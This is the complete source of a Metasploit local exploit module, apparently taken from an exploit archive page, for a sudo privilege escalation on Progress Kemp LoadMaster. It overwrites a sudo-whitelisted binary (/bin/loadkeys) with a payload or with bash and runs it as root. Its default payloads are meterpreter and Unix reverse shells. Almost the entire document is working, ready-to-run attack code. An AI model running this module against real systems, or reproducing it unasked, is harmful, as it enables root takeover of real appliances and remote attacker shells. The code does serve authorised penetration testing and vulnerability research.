# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Kemp LoadMaster Local sudo privilege escalation', 'Description' => %q{ This module abuses a feature of the sudo command on Progress Kemp LoadMaster. Certain binary files are allowed to automatically elevate with the sudo command. This is based off of the file name. Some files have this permission are not write-protected from the default 'bal' user. As such, if the file is overwritten with an arbitrary file, it will still auto-elevate. This module overwrites the /bin/loadkeys file with another executable. }, 'Author' => [ 'Dave Yesland with Rhino Security Labs', 'bwatters-r7' # module, ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] ], 'DisclosureDate' => '2024-03-19', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [ REPEATABLE_SESSION ] }, 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } } ], [ 'Command', { 'Arch' => [ARCH_CMD], 'Type' => :command, 'Payload' => { 'BadChars' => "\x27", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic gawk telnet ssh echo' } }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' } } ] ], 'Privileged' => true ) ) register_options([ OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']), OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def check score = 0 score += 1 if read_file('/usr/wui/index.js').include?('KEMP') score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster') score += 1 if exists?('/usr/wui/eula.kemp.html') vprint_status("Found #{score} indicators this is a KEMP product") return CheckCode::Detected if score > 0 return CheckCode::Safe end def verify_copy(src, dest, elevate) orig_file_hash = file_remote_digestmd5(src) vprint_status("Moving #{src} to #{dest}") if elevate output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'") else output = cmd_exec("/bin/cp '#{src}' '#{dest}'") end return true if file_remote_digestmd5(dest) == orig_file_hash print_bad("Copy failed - #{output}") false end def execute_dropper(target_binary, binary_rename, temp_payload_path) vprint_status("Writing payload to #{temp_payload_path}") write_file(temp_payload_path, generate_payload_exe) chmod(temp_payload_path) register_file_for_cleanup(temp_payload_path) return unless verify_copy(target_binary, binary_rename, false) return unless verify_copy(temp_payload_path, target_binary, true) vprint_status("Running #{target_binary}") cmd_exec("sudo '#{target_binary}'") end def execute_command(target_binary, binary_rename, cmd) vprint_status('Preparing payload command') # save copy of target_binary return unless verify_copy(target_binary, binary_rename, false) return unless verify_copy('/bin/bash', target_binary, true) vprint_status('Running payload command') vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'")) end def exploit writable_dir = datastore['WRITABLE_DIR'] if writable_dir.blank? || (writable_dir[-1] != '/') writable_dir += '/' end fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir) target_binary = datastore['TARGET_BINARY'] binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}" target_binary_hash = file_remote_digestmd5(target_binary) begin case target['Type'] when :dropper temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}" execute_dropper(target_binary, binary_rename, temp_payload) when :command execute_command(target_binary, binary_rename, payload.encoded) end ensure unless target_binary_hash == file_remote_digestmd5(target_binary) cmd_exec("sudo rm '#{target_binary}'") verify_copy(binary_rename, target_binary, true) cmd_exec("sudo rm '#{binary_rename}'") end end if target_binary_hash == file_remote_digestmd5(target_binary) print_good("#{target_binary} returned to original contents") else print_bad("#{target_binary} was not returned to original contents") end end end
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |